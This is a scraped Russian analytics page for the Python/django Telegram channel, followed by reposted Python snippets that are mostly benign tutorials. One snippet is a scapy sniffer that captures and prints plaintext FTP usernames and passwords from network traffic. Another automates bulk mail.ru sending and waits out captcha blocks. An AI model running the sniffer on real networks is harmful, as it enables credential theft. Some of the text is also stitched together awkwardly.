Python/ django
по всем вопросам @workakkk @itchannels_telegram - 🔥 все ит каналы @ai_machinelearning_big_data -ML @ArtificialIntelligencedl -AI @datascienceiot - 📚 @pythonlbooks РКН: clck.ru/3FmxmM
Больше📈 Аналитический обзор Telegram-канала Python/ django
Канал Python/ django (@pythonl) языкового сегмента Русский является активным участником. Сейчас сообщество объединяет 58 385 подписчиков, занимая 2 244 место в категории Технологии и приложения и 10 292 место в регионе Россия.
📊 Показатели аудитории и динамика
С момента создания невідомо проект демонстрирует стремительный рост, собрав аудиторию из 58 385 подписчиков.
Согласно последним данным от 03 ноября, 2026, канал показывает стабильную активность. За последние 30 дней изменение числа участников составило -242, а за последние 24 часа — -32, при этом общий охват остаётся высоким.
- Статус верификации: Не верифицирован
- Уровень вовлечённости (ER): Средний показатель вовлечённости аудитории составляет 6.00%. В первые 24 часа после публикации контент обычно набирает 3.06% реакций от общего числа подписчиков.
- Охват публикаций: В среднем каждый пост получает 3 501 просмотров. В течение первых суток публикация набирает 1 784 просмотров.
- Реакции и взаимодействия: Аудитория активно поддерживает контент: среднее количество реакций на один пост — 18.
- Тематические интересы: Контент сосредоточен на ключевых темах, таких как github, claude, контекст, архитектура, api.
📝 Описание и контентная политика
Автор описывает ресурс как площадку для выражения субъективного мнения:
“по всем вопросам @workakkk
@itchannels_telegram - 🔥 все ит каналы
@ai_machinelearning_big_data -ML
@ArtificialIntelligencedl -AI
@datascienceiot - 📚
@pythonlbooks
РКН: clck.ru/3Fm...”
Благодаря высокой частоте обновлений (последние данные получены 04 ноября, 2026) канал поддерживает актуальность и высокий уровень охвата публикаций. Аналитика показывает, что аудитория активно взаимодействует с контентом, что делает его важной точкой влияния в категории Технологии и приложения.
pip install pytest-postgresql
▪Github
@pythonl
pip install -U itsdangerous
from itsdangerous import URLSafeSerializer
auth_s = URLSafeSerializer("secret key", "auth")
token = auth_s.dumps({"id": 5, "name": "itsdangerous"})
print(token)
# eyJpZCI6NSwibmFtZSI6Iml0c2Rhbmdlcm91cyJ9.6YP6T0BaO67XP--9UzTrmurXSmg
data = auth_s.loads(token)
print(data["name"])
# itsdangerous
▪Github
@pythonlimport os
import shutil
# Paths
DOWNLOADS_PATH = os.path.expanduser('~/Downloads') # Modify this if your downloads are in a different location
ORGANIZED_PATHS = {
'Documents': ['.pdf', '.doc', '.docx', '.txt', '.md', '.xlsx', '.ppt'],
'Images': ['.jpg', '.jpeg', '.gif', '.png', '.svg'],
'Music': ['.mp3', '.wav', '.wma', '.ogg', '.flac', '.aac'],
'Videos': ['.mp4', '.mkv', '.flv', '.mov', '.avi'],
'Archives': ['.zip', '.tar', '.tar.gz', '.rar', '.7z'],
}
def organize_downloads():
for filename in os.listdir(DOWNLOADS_PATH):
file_path = os.path.join(DOWNLOADS_PATH, filename)
# Ensure we're working with files only
if not os.path.isfile(file_path):
continue
# Find the file's type based on its extension
file_type = None
for folder, extensions in ORGANIZED_PATHS.items():
for extension in extensions:
if filename.endswith(extension):
file_type = folder
break
if file_type:
break
# Move the file to its designated folder
if file_type:
dest_folder = os.path.join(DOWNLOADS_PATH, file_type)
os.makedirs(dest_folder, exist_ok=True)
shutil.move(file_path, os.path.join(dest_folder, filename))
else:
# You can add a category for uncategorized files if needed
pass
if __name__ == "__main__":
organize_downloads()
@pythonl
import torchaudio
import torch
import matplotlib.pyplot as plt
import IPython.display
bundle = torchaudio.pipelines.TACOTRON2_WAVERNN_PHONE_LJSPEECH
processor = bundle.get_text_processor()
tacotron2 = bundle.get_tacotron2().to(device) # Move model to the desired device
vocoder = bundle.get_vocoder().to(device) # Move model to the desired device
text = " My first text to speech!"
with torch.inference_mode():
processed, lengths = processor(text)
processed = processed.to(device) # Move processed text data to the device
lengths = lengths.to(device) # Move lengths data to the device
spec, spec_lengths, _ = tacotron2.infer(processed, lengths)
waveforms, lengths = vocoder(spec, spec_lengths)
fig, [ax1, ax2] = plt.subplots(2, 1, figsize=(16, 9))
ax1.imshow(spec[0].cpu().detach(), origin="lower", aspect="auto") # Display the generated spectrogram
ax2.plot(waveforms[0].cpu().detach()) # Display the generated waveform7. Play the generated audio using IPython.display.Audio
IPython.display.Audio(waveforms[0:1].cpu(), rate=vocoder.sample_rate)
@pythonlimport cv2
def detect_face(image_path):
# Load the face detection classifier
face_cascade = cv2.CascadeClassifier(cv2.data.haarcascades + 'haarcascade_frontalface_default.xml')
# Read and convert the image to grayscale
image = cv2.imread(image_path)
gray_image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
# Detect faces in the image
faces = face_cascade.detectMultiScale(gray_image, scaleFactor=1.1, minNeighbors=5)
# Assuming there's only one face in the image, return its coordinates
if len(faces) == 1:
return faces[0]
else:
return None
Step 2: Swapping Faces
def main():
# Paths to the input images
image_path_1 = 'path_to_image1.jpg'
image_path_2 = 'path_to_image2.jpg'
# Detect the face in the second image
face_coords_2 = detect_face(image_path_2)
if face_coords_2 is None:
print("No face found in the second image.")
return
# Load and resize the source face
image_1 = cv2.imread(image_path_1)
face_width, face_height = face_coords_2[2], face_coords_2[3]
image_1_resized = cv2.resize(image_1, (face_width, face_height))
# Extract the target face region from the second image
image_2 = cv2.imread(image_path_2)
roi = image_2[face_coords_2[1]:face_coords_2[1] + face_height, face_coords_2[0]:face_coords_2[0] + face_width]
# Flip the target face horizontally
reflected_roi = cv2.flip(roi, 1)
# Blend the two faces together
alpha = 0.7
blended_image = cv2.addWeighted(image_1_resized, alpha, reflected_roi, 1 - alpha, 0)
# Replace the target face region with the blended image
image_2[face_coords_2[1]:face_coords_2[1] + face_height, face_coords_2[0]:face_coords_2[0] + face_width] = blended_image
# Display the result
cv2.imshow('Blended Image', image_2)
cv2.waitKey(0)
cv2.destroyAllWindows()
if __name__ == "__main__":
main()
@pythonlconda create -n audioldm python=3.8; conda activate audioldm
pip3 install git+https://github.com/haoheliu/AudioLDM2.git
git clone https://github.com/haoheliu/AudioLDM2; cd AudioLDM2
python3 app.py
▪Github
▪Demo
@pythonlНативная интеграция. Информация о продукте www.otus.rufrom typing import Protocol
import sys
from scapy.layers import inet
from scapy.all import *
from scapy.layers import *
import psutil
import scapy.all as scapy
from scapy.layers import http
linea = '--------------------------------------------------'
class bcolors:
OK = '\033[92m' #GREEN
WARNING = '\033[93m' #YELLOW
ladrrr = '8GY.'
ss = 'OWQ1'
FAIL = '\033[91m' #RED
pinocho_chocho = 'y!c'
RESET = '\033[0m' #RESET COLOR
def ftp_creds(p_ftp):
if p_ftp[TCP].dport == 21:
data = p_ftp.sprintf("%Raw.load%")
if "USER" in data:
global ip_ftp
global ip_ftp2
ip_ftp = "'FTP IP: ", p_ftp[IP].dst, "'"
print(ip_ftp)
global user_ftp
data = data.split(" ")
data = data[1]
global user_ftp2
user_ftp = "'User: ", data, "'"
print(user_ftp)
elif "PASS" in data:
data = data.split(" ")
data = data[1]
global passwd_ftp
global passwd_ftp2
passwd_ftp = "'PASSWORD: ", data,"'"
print(passwd_ftp)
print(linea)
global ftp_ip_final
global user_ftp_final
def ftp():
print(linea)
print(f"{bcolors.WARNING}Your Network Interfaces{bcolors.RESET}")
addrs = psutil.net_if_addrs()
cc = str(addrs.keys())
interfaces = print(cc[9:])
bb = input("Choose Interface to use: ")
xs = 0
if bb in cc:
try:
while xs>=0:
print(linea)
print(f"{bcolors.WARNING}Searching...{bcolors.RESET}")
ftp_pkt = sniff(filter='tcp and port 21',iface=bb,prn=ftp_creds)
except KeyboardInterrupt:
print(f"{bcolors.FAIL}You cancelled with Ctrl+C{bcolors.RESET}")
print(linea)
global ftphost
global ftpuser
global ftpass
ftp()
📌 Код
📌 Статья
@pythonlimport time
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import csv
# Путь к web-driver
EXE_PATH = 'chromedriver.exe'
# Логин и пароль от вашей почты
EMAIL = email@mail.com
PASSWORD = password
# запускаем браузер
browser = webdriver.Chrome(executable_path=EXE_PATH)
# Переходим на страницу шаблонов mail.ru
# Сайт выдаст форму авторизации
browser.get('https://e.mail.ru/templates/')
# Выставляем тайминги задержки чтобы браузер успел прогрузить страницу
time.sleep(5)
# Теперь нам надо авторизоваться
# заполняем поле логин
emailElem = browser.find_element_by_name('username')
emailElem.send_keys(EMAIL)
emailElem.submit()
time.sleep(1)
# заполняем поле пароль
passwordElem = browser.find_element_by_name('password')
passwordElem.send_keys(PASSWORD)
passwordElem.submit()
time.sleep(5)
# Мы авторизовались, теперь тащим адреса из файла.csv
# Содержание файла
# ФИО,Email
with open('email_list.csv', encoding="utf-8") as file:
EMAIL_LIST = csv.reader(file)
# Запускаем цикл
for row in EMAIL_LIST:
# Если mail что то заподозрит, то выкинет капчу,
# мы получаем except, ждем некоторое время, и снова отправлем письмо
try:
# ФИО <Email>
email_to = row[0] + "<" + row[1] + ">"
# Нажимаем кнопку шаблоны (первый в списке шаблон настраиваем заранее)
browser.find_element_by_xpath('//*[@id="app-canvas"]/div/div[1]/div[1]/div/div[2]/span/div[2]/div/div/div/div/div[1]/div/div/div/div[1]/div/div/a[1]').click()
time.sleep(3)
# Заполняем поле кому
browser.find_element_by_xpath('/html/body/div[1]/div/div[2]/div/div[1]/div[2]/div[3]/div[2]/div/div/div[1]/div/div[2]/div/div/label/div/div/input').send_keys(email_to)
time.sleep(1)
# Нажимаем кнопку отправить
browser.find_element_by_xpath('/html/body/div[1]/div/div[2]/div/div[2]/div[1]/span[1]/span/span').click()
time.sleep(5)
# После отправки открывается модальное окно, закрываем его
browser.find_element_by_xpath('/html/body/div[10]/div/div/div[2]/div[2]/div/div/div[1]/span').click()
time.sleep(10)
except Exception:
# Сообщаем пользователю, что скрипту необходимо переждать
print('Error! Wait 1 hour\n')
# Ждем час (можно меньше)
time.sleep(3600)
# Снова нажимаем кнопку отправить
browser.find_element_by_xpath('/html/body/div[1]/div/div[2]/div/div[2]/div[1]/span[1]/span/span').click()
time.sleep(5)
# Снова закрываем модальное окно
browser.find_element_by_xpath('/html/body/div[10]/div/div/div[2]/div[2]/div/div/div[1]/span').click()
time.sleep(10)
print('SUCCESS!')
time.sleep(500)
@pythonlimport openpyxl
from tkinter import *
from tkinter import messagebox
def register():
# Get the user input from the form
first_name = first_name_entry.get()
Last_name = Last_name_entry.get()
email = email_entry.get()
Mobile = Mobile_entry.get()
# Create a new row with the user input
new_row = [first_name, Last_name, email,Mobile]
# Append the new row to the Excel sheet
workbook = openpyxl.load_workbook("registration_data.xlsx")
sheet = workbook.active
sheet.append(new_row)
workbook.save("registration_data.xlsx")
messagebox.showinfo("Success", "Registration successful!")
# Create the main tkinter window
root = Tk()
root.title("Registration Form")
root.geometry('300x300')
# Create labels and entry fields for each input
first_name_label = Label(root, text="First Name:")
first_name_label.pack()
first_name_entry = Entry(root)
first_name_entry.pack()
Last_name_label = Label(root, text="Last Name:")
Last_name_label.pack()
Last_name_entry = Entry(root)
Last_name_entry.pack()
email_label = Label(root, text="Email:")
email_label.pack()
email_entry = Entry(root)
email_entry.pack()
Mobile_label = Label(root, text="Mobile:")
Mobile_label.pack()
Mobile_entry = Entry(root)
Mobile_entry.pack()
register_button = Button(root, text="Register", command=register)
register_button.pack()
root.mainloop()
@pythonlfrom openpyxl import Workbook
from openpyxl.utils import get_column_letter
from openpyxl.styles import Font
#making the grid and giving the data
data = {
"Joe": {
"math": 65,
"science": 78,
"english": 98,
"gym": 89
},
"Bill": {
"math": 55,
"science": 72,
"english": 87,
"gym": 95
},
"Tim": {
"math": 100,
"science": 45,
"english": 75,
"gym": 92
},
"Sally": {
"math": 30,
"science": 25,
"english": 45,
"gym": 100
},
"Jane": {
"math": 100,
"science": 100,
"english": 100,
"gym": 60
}
}
wb = Workbook()
ws = wb.active
#assigning the title
ws.title = "Grades"
#giving proper formatting for columns
headings = ['Name'] + list(data['Joe'].keys())
ws.append(headings)
#reading the data for persom
for person in data:
grades = list(data[person].values())
ws.append([person] + grades)
for col in range(2, len(data['Joe']) + 2):
char = get_column_letter(col)
ws[char + "7"] = f"=SUM({char + '2'}:{char + '6'})/{len(data)}"
#assigning the colour and text type
for col in range(1, 6):
ws[get_column_letter(col) + '1'].font = Font(bold=True, color="0099CCFF")
#saving the excel file in the same folder
wb.save("NewGrades.xlsx")
@pythonl